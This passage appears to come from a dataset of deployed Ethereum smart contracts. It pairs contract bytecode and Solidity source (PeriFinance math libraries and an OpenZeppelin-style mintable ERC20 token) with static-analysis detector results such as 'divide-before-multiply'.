06114ab565b005b34801561037957600080fd5b50610382611561565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d057600080fd5b50610455600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611586565b005b34801561046357600080fd5b50610498600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bb565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611911565b005b34801561050157600080fd5b50610540600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611978565b005b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561060a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d75737420757365204c494e4b20746f6b656e0000000000000000000000000081525060200191505060405180910390fd5b87600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f742063616c6c6261636b20746f204c494e4b00000000000000000081525060200191505060405180910390fd5b8b87604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156107695780518252602082019150602081019050602083039250610744565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020925060006001026002600085600019166000191681526020019081526020016000205460001916141515610832576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d75737420757365206120756e6971756520494400000000000000000000000081525060200191505060405180910390fd5b61084761012c42611baf90919063ffffffff16565b91508a898984604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526004018281526020019450505050506040516020818303038152906040526040518082805190602001908083835b60208310151561092f578051825260208201915060208101905060208303925061090a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600260008560001916600019168152602001908152602001600020816000191690555089600019167fd8d7ecc4800d25fa53ce0372f13a416d98907a7ef3d8d3bdd79cf4fe75529c658d858e8d8d888d8d8d604051808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200189600019166000191681526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200185815260200184815260200180602001828103825284848281815260200192508082843782019150509a505050505050505050505060405180910390a2505050505050505050505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610b6057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001807f4e6f7420616e20617574686f72697a6564206e6f646520746f2066756c66696c81526020017f6c2072657175657374730000000000000000000000000000000000000000000081525060400191505060405180910390fd5b876000600102600260008360001916600019168152602001908152602001600020546000191614151515610c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4d757374206861766520612076616c696420726571756573744964000000000081525060200191505060405180910390fd5b87878787604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526004018281526020019450505050506040516020818303038152906040526040518082805190602001908083835b602083101515610d7c5780518252602082019150602081019050602083039250610d57565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902091508160001916600260008b600019166000191681526020019081526020016000205460001916141515610e45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f506172616d7320646f206e6f74206d617463682072657175657374204944000081525060200191505060405180910390fd5b610e5a88600454611baf90919063ffffffff16565b600481905550600260008a600019166000191681526020019081526020016000206000905562061a805a10151515610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d7573742070726f7669646520636f6e73756d657220656e6f7567682067617381525060200191505060405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff16867c010000000000000000000000000000000000000000000000000000000090048a866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018260001916600019168152602001925050506000604051808303816000875af192505050925050509695505050505050565b61012c81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100657600080fd5b61101c6001600454611bcb90919063ffffffff16565b905090565b600083338484604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526004018281526020019450505050506040516020818303038152906040526040518082805190602001908083835b60208310151561110957805182526020820191506020810190506020830392506110e4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600260008660001916600019168152602001908152602001600020546000191681600019161415156111d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f506172616d7320646f206e6f74206d617463682072657175657374204944000081525060200191505060405180910390fd5b42821115151561124a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f52657175657374206973206e6f7420657870697265640000000000000000000081525060200191505060405180910390fd5b6002600086600019166000191681526020019081526020016000206000905584600019167fa7842b9ec549398102c0d91b1b9919b2f20558aefdadf57528a95c6cd3292e9360405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561135f57600080fd5b505af1158015611373573d6000803e3d6000fd5b505050506040513d602081101561138957600080fd5b810190808051906020019092919050505015156113a257fe5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d75737420757365204c494e4b20746f6b656e0000000000000000000000000081525060200191505060405180910390fd5b8060026020026004018151101515156116cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e76616c69642072657175657374206c656e6774680000000000000000000081525060200191505060405180910390fd5b8160006020820151905063404299467c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156117ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d757374207573652077686974656c69737465642066756e6374696f6e73000081525060200191505060405180910390fd5b8560248501528460448501523073ffffffffffffffffffffffffffffffffffffffff168460405180828051906020019080838360005b838110156117ff5780820151818401526020810190506117e4565b50505050905090810190601f16801561182c5780820380516001836020036101000a031916815260200191505b50915050600060405180830381855af491505015156118b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f556e61626c6520746f206372656174652072657175657374000000000000000081525060200191505060405180910390fd5b505050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196c57600080fd5b61197581611be4565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d357600080fd5b806119e8600182611baf90919063ffffffff16565b60045410151515611a87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001807f416d6f756e74207265717565737465642069732067726561746572207468616e81526020017f20776974686472617761626c652062616c616e6365000000000000000000000081525060400191505060405180910390fd5b611a9c82600454611bcb90919063ffffffff16565b600481905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b6757600080fd5b505af1158015611b7b573d6000803e3d6000fd5b505050506040513d6020811015611b9157600080fd5b81019080805190602001909291905050501515611baa57fe5b505050565b60008183019050828110151515611bc257fe5b80905092915050565b6000828211151515611bd957fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c2057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e67b963e45e938bdfbf200e8df6b38dabfd3a9a6efba93edbbf1bc185521c1010029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,941 |
0x978bB72569dC790154FAb64f3274e4Af7a6A890B
|
/*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: Math.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/Math.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/Math
*
* Contract Dependencies: (none)
* Libraries:
* - Math
* - SafeDecimalMath
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.peri.finance/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @dev Round down the value with given number
*/
function roundDownDecimal(uint x, uint d) internal pure returns (uint) {
return x.div(10**d).mul(10**d);
}
/**
* @dev Round up the value with given number
*/
function roundUpDecimal(uint x, uint d) internal pure returns (uint) {
uint _decimal = 10**d;
if (x % _decimal > 0) {
x = x.add(10**d);
}
return x.div(_decimal).mul(_decimal);
}
}
// Libraries
// https://docs.peri.finance/contracts/source/libraries/math
library Math {
using SafeMath for uint;
using SafeDecimalMath for uint;
/**
* @dev Uses "exponentiation by squaring" algorithm where cost is 0(logN)
* vs 0(N) for naive repeated multiplication.
* Calculates x^n with x as fixed-point and n as regular unsigned int.
* Calculates to 18 digits of precision with SafeDecimalMath.unit()
*/
function powDecimal(uint x, uint n) internal pure returns (uint) {
// https://mpark.github.io/programming/2014/08/18/exponentiation-by-squaring/
uint result = SafeDecimalMath.unit();
while (n > 0) {
if (n % 2 != 0) {
result = result.multiplyDecimal(x);
}
x = x.multiplyDecimal(x);
n /= 2;
}
return result;
}
}
|
0x73978bb72569dc790154fab64f3274e4af7a6a890b30146080604052600080fdfea265627a7a7231582080d0314b0dddeeb713138cf789d446ae9b95282a699d537f158729b2079038f864736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,942 |
0x968347a7d9ddf46d6ba44dfc1f251204826bf80e
|
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
